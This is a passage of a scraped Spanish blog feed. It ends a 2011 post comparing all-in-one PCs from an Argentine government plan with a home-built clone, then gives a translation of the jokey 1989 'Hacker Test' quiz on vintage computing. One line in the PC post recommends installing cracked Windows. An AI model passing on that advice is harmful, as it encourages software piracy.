Earth</i></div><div><i>Cursos autoestudio de manejo de PC e internet, Correo electrónico y Redes Sociales</i></div><div><i>Monitor Color LCD 21,5" Wide 16:9 resolución Full HD 1920 X 1080</i></div><div><i>Entrega a domicilio sin Cargo en todo el país</i></div><div><br /></div><div style="text-align: justify;">esta un poco mas "arriba" q la de hp aunque tambien esta arriba en precio, 5599$. hay otra similar a la de hp x 4899$.</div><div><br /></div><a href="http://4.bp.blogspot.com/-cvML4OGXHLg/ThC8bxrq8uI/AAAAAAAAAVk/cDyhHWmpeZY/s1600/gta5.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5625203119964746466" src="http://4.bp.blogspot.com/-cvML4OGXHLg/ThC8bxrq8uI/AAAAAAAAAVk/cDyhHWmpeZY/s320/gta5.jpg" style="cursor: pointer; float: left; height: 320px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; width: 274px;" /></a><div style="text-align: justify;">a los q las quieren para jugar de entrada eliminamos las hp xq ninguna tiene buen video y no se puede agregar una placa standard.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">veamos la de exo... i5, "chipset intel"... el mobo puede ser cualquier cosa, 4gb mem (?), 1tb disco (recen x la marca) y bue... accesorios. es suficiente la maquina pero x supuesto no el video, no se si es onboard xq no lo dice pero igual con una 210 no van a ir muy lejos. tal vez gta 4 a minima resolucion sea lo maximo q puedan correr... demasiado poco x tantos $$.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">x supuesto q para agregar una placa mas potente (entre 100 y 300usd) le van a tener q cambiar tambien la fuente (entre 70 y 150usd) xq seguramente venga con una generica q va a explotar en cuanto le conecten 2 usb a la vez.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">o sea q en el caso del usuario exigente a esto le tendriamos q meter 450usd (casi 2000$) encima... una locura...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">para el usuario "normal"... le preguntaria para q quiere tantos cores si tal vez ni sabe lo q son. pero suponiendo q si los necesite xq corre procesos pesadisimos, renderiza cosas, hace calculos con matlab o lo q sea, tambien vamos a acordar q no le hace falta (como tampoco al jubilado) una maquina "linda" sino una q haga lo q necesita, asi q volvemos a descartar las aio de hp.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">lo razonable seria q la de exo fuera mas barata entonces... pero no, cuesta lo mismo q un aio de hp. xq? no lo se, no se entiende. tambien es para tener en consideracion q un OMNI 200 como el de hp se vende en ebay nuevo x menos de 600usd (la mitad).</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">para terminar, en el remoto caso de q sea para el jubilado, seria mejor la mas barata (q no sea atom) ya q no va necesitar 5 cores ni 4gb de memoria para nada q vaya a hacer en un futuro proximo, y como cuestan lo mismo seria mejor comprar la de hp obviamente. aunque seguro va a terminar pagando el doble q el clon armado en cualquier lado (de la misma calidad).</div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: yellow; font-size: x-large;"><b><u>precios</u></b></span></div><div><br /></div><a href="http://2.bp.blogspot.com/-ScbZkcScs3E/ThC9I950KnI/AAAAAAAAAVs/yyiR2nEN2BM/s1600/Thermaltake-beauty.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5625203896339409522" src="http://2.bp.blogspot.com/-ScbZkcScs3E/ThC9I950KnI/AAAAAAAAAVs/yyiR2nEN2BM/s320/Thermaltake-beauty.jpg" style="cursor: pointer; float: right; height: 320px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 299px;" /></a><div style="text-align: justify;">q conviene entonces? obvio, comprar (o armar) un clon, meterle un win crackeado o muchisimo mejor un linux y si quieren pagarlo en cuotas igual q en el plan del gobierno. todo el mundo vende en cuotas, hasta el negocito de la esquina arma pcs y las vende en cuotas y seguro q va a terminar costando mas barata y siendo mucho mejor maquina si van con alguien de confianza.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">no van a conseguir 40 pero... quien quiere 40 cuotas? cuando las terminen de pagar la maquina seguramente va a ser vieja y con esos componenetes tambien seguro q va a estar rota. las exo x componentes baratos y las hp xq lo q venden en argentina es todo "refurbished". como? muy sencillo... x ejemplo a un yankee se le rompe el mobo de una hp, la manda a arreglar, le ponen uno nuevo recien salido de fabrica y el viejo lo arreglan. adivinen adonde va a parar el "arreglado"? si si... a esas maquinas q estan comprando en la pagina de hp... je... todo al "3er mundo". pueden negar lo q quieran, pero no q no pueden negar son los puntos de soldadura a mano en equipos "nuevos". refurbished y al doble de lo q vale en usa... sin palabras...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ya no armo maquinas pero sigo conservando algunos proveedores de cuando lo hacia. algunos precios a jul/11:</div><div><br /></div><div>combo micro i5 2300 con mobo intel DH67BLB3 --------&gt; 400usd (menos en realidad)</div><div>mem 4gb g.skill (gaming series) --------------------&gt; 60usd</div><div>hd 1tb wd green ------------------------------------&gt; 80usd</div><div>algun case sentey "lindo" --------------------------&gt; 70usd</div><div>dvdrw, lector mem, etc -----------------------------&gt; 60usd (tal vez menos)</div><div>lcd 23" samsung P2370H -----------------------------&gt; 330usd</div><div><br /></div><div style="text-align: justify;">cuanto suma? 1000usd... con el dolar a 4.14 pesos tenemos unos 4140$ armando con componentes de mucha mejor calidad. con los componentes de exo seguramente se puedan bajar unos 1000$... y no estamos hablando de precios mayoristas sino de los precios q maneja cualquier mortal.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la de hp, mas alla del tema "refurbished", puede ganar en el sentido del diseño pero no hay q olvidar q cuando se rompa algo no va a ser tan facil de reemplazar y con las cosas raras q viene haciendo hp ultimamente...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">pueden leer estas entradas para enterarse mas:</div><div><br /></div><div><a href="http://locvtvs.blogspot.com/2009/12/problema-con-notebooks-hp-nvidia-el.html">HP y el calentamiento en notebooks</a></div><div><br /></div><div><a href="http://locvtvs.blogspot.com/2011/03/hp-care-packs-al-descubierto.html">HP CarePacks al descubierto</a></div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: yellow; font-size: x-large;"><b><u>conclusion</u></b></span></div><div><br /></div><div style="text-align: justify;">las mas baratas no sirven para nadie. al jubilado es darle una porqueria lenta con la q va a tener q luchar tanto q va a terminar pensando q "es muy dificil". al "pariente" le va a servir menos xq seguramente va a querer hacer mas cosas q el jubilado y no le va a alcanzar ni q le agregue memoria, disco o lo q sea. el atom es muy lindo para una netbook pero nada mas q eso.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">las mas caras no llegan a tener la potencia o la posibilidad clara de upgrade para el perfil de un gamer o cualquier "power user". ademas un usuario de estas caracteristicas necesita algo mas personalizado y de calidad q seguramente va a terminar pagando a menor precio.</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-682892165139238711?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com6tag:blogger.com,1999:blog-3031385326498684086.post-26807682752156562242011-05-07T15:41:00.018-03:002011-05-07T17:02:18.110-03:00<a href="http://4.bp.blogspot.com/-YqVzX48En2Y/TcWhWcBfbHI/AAAAAAAAAU4/jEnRD5YmaNQ/s1600/bluebox.gif" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"></a><br /><a href="http://2.bp.blogspot.com/-NfyfdCVvx8A/TcWVd0P3lSI/AAAAAAAAATQ/5byvhKFAla4/s1600/hacker.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604049650806396194" src="http://2.bp.blogspot.com/-NfyfdCVvx8A/TcWVd0P3lSI/AAAAAAAAATQ/5byvhKFAla4/s320/hacker.png" style="cursor: hand; cursor: pointer; float: right; height: 200px; margin: 0 0 10px 10px; width: 320px;" /></a><div style="text-align: justify;">este "test" fue escrito en epocas prehistoricas cuando internet todavia no existia y tener acceso a una computadora era cosa de "unos pocos", tanto x el precio como x la dificultad para hacer las cosas mas basicas con ellas. si algo no funcionaba no se podia "googlear" y si querias aprender a programar o usar algun sistema raro te tenias q ir a comprar (o fotocopiar) algun libro o manual... q eran bastante dificiles de conseguir...</div><div><br /></div><div style="text-align: justify;">comparados con el usuario standard de hoy dia casi todos eran practicamente "hackers" en el concepto moderno, ya q era eso o dedicarte a otra cosa si querias hacer algo mas q poner un jueguito en una vieja commodore o spectrum.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">volviendo al "test", data del año 1989 y fue publicado originalmente por nutworks q era un magazine electronico de humor difundido a traves de una lista de correo de bitnet y fue escrito por Felix Lee, John Hayes y Angela Thomas. me decidi a hacer la traduccion completa ya q no pude encontrar ninguna en castellano, salvo una vieja de jjf q tiene menos de la mitad y esta bastante mal hecha.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si bien la mayoria de las preguntas van a sonar a chino basico para los mas jovenes (seguro q ninguno hizo jamas un "flippy disk" xD), se puede ver el trasfondo, mas alla de la parte humoristica, de lo q era en esa epoca (y deberia ser hoy dia tambien salvando distancias) un hacker, sabiendo tanto de programacion como de electronica, telefonia, matematicas y x supuesto juegos de video, ademas de ser un obsesivo q se pasa la vida sentado detras de maquinas, libros y circuitos tratando de aprender todo lo q se le ponga delante... le sirva o no algun dia (todo sirve algun dia...)</div><div><br /></div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604050883699306482" src="http://2.bp.blogspot.com/-Fh7tjPgzm_Y/TcWWllIcb_I/AAAAAAAAATY/2w-cYg-0gqk/s320/scriptkiddie.jpg" style="cursor: pointer; float: left; height: 189px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; width: 192px;" /></span><div style="text-align: justify;">con el paso del tiempo el termino quedo bastante bastardeado, incluyendo desde toda clase de criminales adaptados a la epoca moderna hasta niños robando claves de correo a sus amiguitos o defaceando webs con scripts ajenos. eso no es un hacker... es simplemente un criminal en el 1er caso y 1 niño jugando en el ultimo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">por otra parte tenemos tambien montones de cursos y certificaciones para ser "hacker", desde las q son un robo practicamente hasta las mas "serias" como la CEH q esta tan de moda. lo cierto es q el mejor de estos cursos puede llegar a crear un buen profesional de la seguridad pero no un verdadero "hacker"... una "certificacion" no te transforma en uno ;)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">hice algunas aclaraciones en las preguntas q me parecian mas dificiles de entender. si hay algo q quieran saber dejen un comentario abajo y si se de q se trata (algunas se me escapan) lo pongo.</div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: yellow; font-size: large;"><b>The Hacker Test - Version 1.0</b></span></div><div><br /></div><div>puntuacion: suma un punto por cada item q hayas hecho o cada pregunta q puedas responder correctamente.</div><div><br /></div><div>si tu puntuacion esta entre: vos sos:</div><div><br /></div><div>0x000 and 0x010 -&gt; analfabeto informatico</div><div>0x011 and 0x040 -&gt; usuario</div><div>0x041 and 0x080 -&gt; operador</div><div>0x081 and 0x0C0 -&gt; nerd</div><div>0x0C1 and 0x100 -&gt; hacker</div><div>0x101 and 0x180 -&gt; guru</div><div>0x181 and 0x200 -&gt; wizard</div><div><br /></div><div>nota: si no entendes la puntuacion, para aca.</div><div><br /></div><div>y ahora las preguntas...</div><div><br /></div><div>0001 alguna vez usaste una pc?</div><div>0002 ... por mas de 4 horas seguidas?</div><div>0003 ... mas de 8 horas?</div><div>0004 ... mas de 16 horas?</div><div>0005 ... mas de 32 horas?</div><div>0006 alguna vez parchaste cinta de papel? --- (las q se usaban en los antiguos teletipos)</div><div>0007 alguna vez perdiste una clase x quedarte programando?</div><div>0008 ... perdiste un examen?</div><div>0009 ... perdiste una boda?</div><div>0010 ... perdiste tu propia boda?</div><div>0011 alguna vez programaste mientras estabas intoxicado?</div><div>0012 ... tenia sentido al otro dia?</div><div>0013 alguna vez escribiste un simulador de vuelo?</div><div>0014 alguna vez violaste la garantia de tu equipo?</div><div>0015 alguna vez cambiaste el valor de 4?</div><div>0016 ... sin intencion?</div><div>0017 ... en otro lenguaje q no sea fortran?</div><div>0018 usas DWIM para hacer la vida interesante?</div><div>0019 le pusiste nombre a una pc?</div><div>0020 te quejas cuando una "funcion" que usas se publica?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604052676671297490" src="http://4.bp.blogspot.com/-hZGCrH7_RX0/TcWYN8eR19I/AAAAAAAAATo/SOVcuNiOekg/s320/nethack.jpg" style="cursor: pointer; float: right; height: 192px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0021 comes slime-molds? --- (juego NetHack - 1987)</div><div>0022 sabes cuantos dias de edad tenes?</div><div>0023 alguna vez quisiste descargar una pizza?</div><div>0024 alguna vez inventaste un chiste de computadoras?</div><div>0025 ... alguien no lo entendio?</div><div>0026 podes recitar jabberwocky? --- (poema de lewis carrol)</div><div>0027 ... al reves?</div><div>0028 alguna vez viste "el pato donald en la tierra de matemagica"?</div><div>0029 viste "tron"?</div><div>0030 viste "wargames"?</div><div>0031 sabes lo q es ASCII?</div><div>0032 ... EBCDIC?</div><div>0033 podes leer y escribir ASCII en hexa u octal?</div><div>0034 sabes los nombres de todos los codigos de control ASCII?</div><div>0035 podes leer y escribir EBCDIC en hexa?</div><div>0036 podes convertir de EBCDIC a ASCII y viceversa?</div><div>0037 sabes cuales caracteres son iguales en ASCII y EBCDIC?</div><div>0038 sabes cual es el maxint de tu sistema?</div><div>0039 alguna vez creaste tu propio tipo numerico para tener mejor precision?</div><div>0040 podes nombrar potencias de dos arriba de 2**16 en orden arbitrario?</div><div>0041 ... arriba de 2**32?</div><div>0042 ... arriba de 2**64?</div><div>0043 podes leer una tarjeta perforada, mirando los agujeros?</div><div>0044 ... palpando los agujeros?</div><div>0045 alguna vez parchaste codigo binario?</div><div>0046 ... mientras el programa estaba corriendo?</div><div>0047 alguna vez usaste overlays en un programa?</div><div>0048 conoces a algun vice-presidente de ibm?</div><div>0049 conoces a dennis, bill o ken?</div><div>0050 alguna vez sacaste una foto a un crt?</div><div>0051 alguna vez pasaste un video en tu crt?</div><div>0052 alguna vez digitalizaste una foto?</div><div>0053 alguna vez te olvidaste de montar un scratch monkey? ---(http://en.wikipedia.org/wiki/Scratch_monkey)</div><div>0054 alguna vez optimizaste un loop idle?</div><div>0055 alguna vez optimizaste un bubble sort?</div><div>0056 tu computadora/terminal te habla?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604051739539547266" src="http://3.bp.blogspot.com/-8ULoec4dQro/TcWXXZYqJII/AAAAAAAAATg/cawW14zunSo/s320/acoustic_modem.jpg" style="cursor: pointer; float: right; height: 247px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0057 alguna vez hablaste en un modem acustico?</div><div>0058 ... te contesto?</div><div>0059 podes silbar 300 baudios?</div><div>0060 ... 1200 baudios?</div><div>0061 podes silbar un numero de telefono?</div><div>0062 has sido testigo de la destruccion de un disco?</div><div>0063 hiciste "caminar a un disco"?</div><div>0064 podes hacer un puffer train?</div><div>0065 ... sabes lo q es?</div><div>0066 podes tocar musica en tu impresora?</div><div>0067 ... en tu disco?</div><div>0068 ... en tu unidad de cinta?</div><div>0069 tenes un calendario de snoopy?</div><div>0070 esta desactualizado?</div><div>0071 tenes una foto impresa de...</div><div>0072 ... la mona lisa?</div><div>0073 ... el enterprise?</div><div>0074 ... einstein?</div><div>0075 ... oliver? --- (http://en.wikipedia.org/wiki/Oliver_Wendell_Jones)</div><div>0076 alguna vez hiciste una foto impresa?</div><div>0077 sabes lo q significa lo siguiente?</div><div>0078 ... DASD</div><div>0079 ... Emacs</div><div>0080 ... ITS</div><div>0081 ... RSTS/E</div><div>0082 ... SNA</div><div>0083 ... Spool</div><div>0084 ... TCP/IP</div><div>0085 ... alguna vez usaste TPU?</div><div>0086 ... TECO?</div><div>0087 ... Emacs?</div><div>0088 ... ed?</div><div>0089 ... vi?</div><div>0090 ... Xedit (in VM/CMS)?</div><div>0091 ... SOS?</div><div>0092 ... EDT?</div><div>0093 ... Wordstar?</div><div>0094 alguna vez escribiste en CLIST?</div><div>0095 alguna vez programaste para el sistema de ventanas X?</div><div>0096 ... CICS?</div><div>0097 alguna vez recibiste un fax o fotocopia de un floppy?</div><div>0098 alguna vez mostraste a un novato la tecla "cualquiera"? --- ("any key")</div><div>0099 ... era el boton de power?</div><div>0100 ... alguna vez asististe a Usenix?</div><div>0101 ... DECUS?</div><div>0102 ... SHARE?</div><div>0103 ... SIGGRAPH?</div><div>0104 ... NetCon?</div><div>0105 alguna vez participaste en un grupo de standards?</div><div>0106 alguna vez debuggeaste codigo maquina a traves del telefono?</div><div>0107 alguna vez viste el voice mail?</div><div>0108 ... pudiste leerlo?</div><div>0109 resolviste puzzles de palabras con un diccionario on-line?</div><div>0110 alguna vez hiciste el test de Turing? --- (http://en.wikipedia.org/wiki/Turing_test)</div><div>0111 ... fallaste?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604053892416194962" src="http://2.bp.blogspot.com/-hwmCSU4n2z4/TcWZUtecyZI/AAAAAAAAATw/oouU5SPdK4k/s320/540px-PunchCardDecks.agr.jpg" style="cursor: pointer; float: right; height: 320px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 289px;" /></span><div>0112 alguna vez dejaste caer un deck de tarjetas perforadas?</div><div>0113 ... pudiste volver a ordenarlo con exito?</div><div>0114 ... sin mirar?</div><div>0115 alguna vez usaste IPCS?</div><div>0116 alguna vez recibiste una caja de cerveza con tu computadora?</div><div>0117 tu computadora vino en colores de "diseñador"?</div><div>0118 alguna vez interrumpiste una UPS?</div><div>0119 alguna vez enmascaraste un NMI?</div><div>0120 alguna vez apagaste un sistema Halon?</div><div>0121 ... intencionalmente?</div><div>0122 ... todavia trabajas ahi?</div><div>0123 alguna vez presionaste el boton de power de emergencia?</div><div>0124 ... intencionalmente?</div><div>0125 tenes documentacion vieja?</div><div>0126 ... todavia la lees?</div><div>0127 alguna vez hiciste ingenieria inversa o decompilaste un programa?</div><div>0128 ... encontraste bugs en el?</div><div>0129 siempre ayudas a la persona detras del mostrador con su terminal/computadora?</div><div>0130 trataste de montar en un rack tu telefono?</div><div>0131 alguna vez lanzaste una computadora de mas de dos pisos de altura?</div><div>0132 alguna vez parchaste un bug que el vendedor no reconocio?</div><div>0133 alguna vez arreglaste un problema de harware mediante software?</div><div>0134 ... viceversa?</div><div>0135 perteneciste a algun grupo de soporte a usuarios?</div><div>0136 fuiste mencionado alguna vez en "Computer Recreations"?</div><div>0137 fueron mencionadas alguna vez tus actividades en el diario?</div><div>0138 ... te saliste con la tuya?</div><div>0139 alguna vez ajustaste un freno de tambor mientras el tambor giraba? ---(http://es.wikipedia.org/wiki/Memoria_de_tambor)</div><div>0140 alguna vez escribiste comentarios en un idioma q no es el tuyo?</div><div>0141 destruiste equipo x medio de software?</div><div>0142 trataste de mejorar tu puntuacion en este test?</div><div>0143 llevas listados cuando vas a comer?</div><div>0144 ... a la cama?</div><div>0145 alguna vez parchaste un bug de microcodigo?</div><div>0146 ... evitaste uno?</div><div>0147 podes programar una maquina Turing?</div><div>0148 podes convertir de postfix a prefix mentalmente?</div><div>0149 podes convertir de hexa a octal mentalmente?</div><div>0150 sabes como usar una estrella Kleene?</div><div>0151 te moriste de hambre comiendo con filosofos? --- (http://es.wikipedia.org/wiki/Problema_de_la_cena_de_los_fil%C3%B3sofos)</div><div>0152 resolviste el problema de la parada? --- (Turing)</div><div>0153 ... correctamente?</div><div>0154 arreglaste deadlocks mientras comias spaghetti? ... (http://es.wikipedia.org/wiki/Problema_de_la_cena_de_los_fil%C3%B3sofos)</div><div>0155 alguna vez escribiste un programa q se auto-reproduzca?</div><div>0156 cambiaste el cambiador?</div><div>0157 podes leer un diagrama de flujo?</div><div>0158 ... necesitas uno?</div><div>0159 creaste un programa q no se pueda matar?</div><div>0160 ... intencionalmente?</div><div>0161 alguna vez te pidieron una cookie?</div><div>0162 alguna vez aceleraste un sistema removiendo un jumper?</div><div>*sabes?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604056565814534946" src="http://3.bp.blogspot.com/-w13O-byBSuc/TcWbwUqSIyI/AAAAAAAAAT4/xLGiwEmPHa8/s320/punchedcard.gif" style="cursor: pointer; float: right; height: 320px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 211px;" /></span><div>0163 sabes quien escribio Rogue?</div><div>0164 ... Rogomatic?</div><div>0165 sabes codigo Gray?</div><div>0166 sabes lo q significa HCF?</div><div>0167 ... lo usaste?</div><div>0168 ... intencionalmente?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"></span><div>0169 sabes lo q es una tarjeta perforada?</div><div>0170 ... alguna vez hiciste una?</div><div>0171 sabes cual es el fin de un epoch?</div><div>0172 ... celebraste uno alguna vez?</div><div>0173 ... tuviste q reescribir codigo?</div><div>0174 conoces la diferencia entre DTE y DCE?</div><div>0175 sabes el pinout de un RS-232C?</div><div>0176 ... podes cablear un conector sin mirar?</div><div>*tenes?</div><div>0177 tenes una copia de Dec Wars?</div><div>0178 tenes la "Canonical Collection of Lightbulb Jokes"?</div><div>0179 tenes una copia del "Diccionario del Hacker"?</div><div>0180 ... contribuiste en el?</div><div>0181 tenes una regla para diagramas de flujo?</div><div>0182 ... esta sin usar?</div><div>0183 tenes tu propia version de "fortune-cookie"?</div><div>0184 tenes el "Anarchist's Cookbook"?</div><div>0185 alguna vez hiciste algo de ahi?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604057429496985426" src="http://4.bp.blogspot.com/-3hLLoPf-_r0/TcWcimIOd1I/AAAAAAAAAUA/xvMxQLZbwQk/s320/hypercube.jpg" style="cursor: pointer; float: right; height: 254px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0186 tenes un modem?</div><div>0187 ... una terminal?</div><div>0188 ... una computadora de juguete?</div><div>0189 ... una computadora personal?</div><div>0190 ... una mini computadora?</div><div>0191 ... un mainframe?</div><div>0192 ... una supercomputadora?</div><div>0193 ... una hypercube?</div><div>0194 ... una impresora?</div><div>0195 ... una impresora laser?</div><div>0196 ... una unidad de cinta?</div><div>0197 ... un periferico pasado de moda?</div><div>0198 tenes una calculadora programable?</div><div>0199 ... es RPN?</div><div>0200 alguna vez tuviste mas de una computadora?</div><div>0201 ... 4 computadoras?</div><div>0202 ... 16 computadoras?</div><div>0203 tenes una linea SLIP?</div><div>0204 una linea T1?</div><div>0205 tenes una linea telefonica separada para tu terminal/computadora?</div><div>0206 ... es legal?</div><div>0207 tenes memoria de nucleos magneticos?</div><div>0208 ... drums de almacenamiento?</div><div>0209 ... memoria de burbuja?</div><div>0210 usas mas de 16 megabytes de espacio en disco?</div><div>0211 ... 256 megabytes?</div><div>0212 ... 1 gigabyte?</div><div>0213 ... 16 gigabytes?</div><div>0214 ... 256 gigabytes?</div><div>0215 ... 1 terabyte?</div><div>0216 tenes un drive optico?</div><div>0217 tenes una libreria personal en cinta magnetica?</div><div>0218 ... esta sin etiquetar?</div><div>0219 tenes mas de 16 floppy disks?</div><div>0220 ... 64 floppy disks?</div><div>0221 ... 256 floppy disks?</div><div>0222 ... 1024 floppy disks?</div><div>0223 tenes discos de 8 pulgadas?</div><div>0224 tenes un internal stack?</div><div>0225 tenes una interrupcion de reloj?</div><div>0226 tenes los volumente 1 a 3 de _The Art of Computer Programing_? --- (Donald Knuth)</div><div>0227 ... hiciste todos los ejercicios?</div><div>0228 ... tenes un simulador MIX?</div><div>0229 ... podes nombrar los volumenes no escritos?</div><div>0230 podes citar algo de "_The Mythical Man-month_? --- (Fred Brooks)</div><div>0231 participaste en el proyecto OS/360?</div><div>0232 tenes un handbook TTL?</div><div>0233 tenes impresiones de mas de tres años?</div><div>*profesion</div><div>0234 tenes trabajo?</div><div>0235 ... alguna vez tuviste trabajo?</div><div>0236 ... relacionado con las computadoras?</div><div>0237 trabajas en horarios irregulares?</div><div>0238 alguna vez fuiste administrador de sistema?</div><div>0239 tenes mas megabytes q megadolares?</div><div>0240 hiciste downgrade a tu trabajo para hacer upgrade a tu poder de procesamiento?</div><div>0241 es seguro tu trabajo?</div><div>0242 ... tenes codigo para probarlo?</div><div>0243 tuviste una autorizacion de seguridad?</div><div>*juegos</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604058078793881442" src="http://3.bp.blogspot.com/-fGMmgvHsSPE/TcWdIY8q12I/AAAAAAAAAUI/dAQkYyPJv0Y/s320/pong_game.jpg" style="cursor: pointer; float: right; height: 227px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0244 alguna vez jugaste Pong?</div><div>0245 ... Adventure?</div><div>0246 ... Spacewar?</div><div>0247 ... Star Trek?</div><div>0248 ... Wumpus?</div><div>0249 ... Lunar Lander?</div><div>0250 ... Empire?</div><div>0251 ... alguna vez terminaste Moria 4.8?</div><div>0252 ... Rogue 3.6?</div><div>0253 ... Rogue 5.3?</div><div>0254 ... Larn?</div><div>0255 ... Hack 1.0.3?</div><div>0256 ... Nethack 2.4?</div><div>0257 podes hacer una mejor puntuacion en Rogue q Rogomatic?</div><div>0258 resolviste Adventure?</div><div>0259 ... Zork?</div><div>0260 escribiste alguna vez un redcode?</div><div>0261 escribiste un programa de aventura?</div><div>0262 ... un juego en tiempo real?</div><div>0263 ... un multijugador?</div><div>0264 ... uno en red?</div><div>0265 podes psicoanalizar a Eliza? --- (http://en.wikipedia.org/wiki/ELIZA)</div><div>*Hardware</div><div>0266 alguna vez usaste un lapiz optico?</div><div>0267 ... lo construiste?</div><div>0268 alguna vez usaste un teletipo?</div><div>0269 ... cinta de papel?</div><div>0270 ... un decwriter?</div><div>0271 ... un lector/perforador de tarjetas?</div><div>0272 ... un SOL?</div><div>0273 alguna vez armaste un Altair?</div><div>0274 ... una computadora Heath/Zenith?</div><div>0275 sabes usar un osciloscopio?</div><div>0276 ... un voltimetro?</div><div>0277 ... un frecuencimetro?</div><div>0278 ... una sonda logica?</div><div>0279 ... una herramienta para wirewrap?</div><div>0280 ... un soldador?</div><div>0281 ... un analizador logico?</div><div>0282 alguna vez diseñaste un chip LSI?</div><div>0283 ... fue fabricado?</div><div>0284 hiciste un circuito impreso?</div><div>*historico</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604058569379426978" src="http://3.bp.blogspot.com/-QoFlFRI0K5g/TcWdk8hYMqI/AAAAAAAAAUQ/_6NaVyAN-D8/s320/ENIAC-Computer.jpg" style="cursor: pointer; float: right; height: 236px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0285 conmutaste en codigo de boot sobre el panel frontal?</div><div>0286 ... desde memoria?</div><div>0287 podes programar una Eniac?</div><div>0288 viste una tarjeta de 90 columnas?</div><div>*IBM</div><div>0289 recitas part numbers de IBM mientras dormis?</div><div>0290 sabes lo q es el part number 7320154?</div><div>0291 entendes flujos de datos 3270?</div><div>0292 sabes lo q son las clases de privilegios VM?</div><div>0293 hiciste IPLed en una IBM fuera del cartucho de cinta?</div><div>0294 ... fuera de un lector de tarjetas?</div><div>0295 podes cantar algo del "IBM Songbook"?</div><div>*lenguajes</div><div>0296 sabes mas de 4 lenguajes de programacion?</div><div>0297 ... 8 lenguajes?</div><div>0298 ... 16 lenguajes?</div><div>0299 ... 32 lenguajes?</div><div>0300 alguna vez diseñaste un lenguaje?</div><div>0301 sabes lo q es el Basic?</div><div>0302 ... Pascal?</div><div>0303 podes programar en basic?</div><div>0304 ... lo admitis?</div><div>0305 podes programar en Cobol?</div><div>0306 ... lo negas?</div><div>0307 sabes Pascal?</div><div>0308 ... Modula-2?</div><div>0309 ... Oberon?</div><div>0310 ... mas de dos lenguajes de Wirth?</div><div>0311 ... podes contar un chiste de Niklaus Wirth?</div><div>0312 sabes Algol-60?</div><div>0313 ... Algol-W?</div><div>0314 ... Algol-68?</div><div>0315 entendes el reporte Algol-68?</div><div>0316 te gusta la gramatica de dos niveles? --- (http://en.wikipedia.org/wiki/Van_Wijngaarden_grammar)</div><div>0317 podes programar en assembler para 2 maquinas distintas?</div><div>0318 ... en 4 maquinas distintas?</div><div>0319 ... en 8 maquinas distintas?</div><div>0320 sabes APL?</div><div>0321 ... Ada?</div><div>0322 ... BCPL?</div><div>0323 ... C++?</div><div>0324 ... C?</div><div>0325 ... Comal?</div><div>0326 ... Eiffel?</div><div>0327 ... Forth?</div><div>0328 ... Fortran?</div><div>0329 ... Hypertalk?</div><div>0330 ... Icon?</div><div>0331 ... Lisp?</div><div>0332 ... Logo?</div><div>0333 ... MIIS?</div><div>0334 ... MUMPS?</div><div>0335 ... PL/I?</div><div>0336 ... Pilot?</div><div>0337 ... Plato?</div><span class="Apple-style-span" 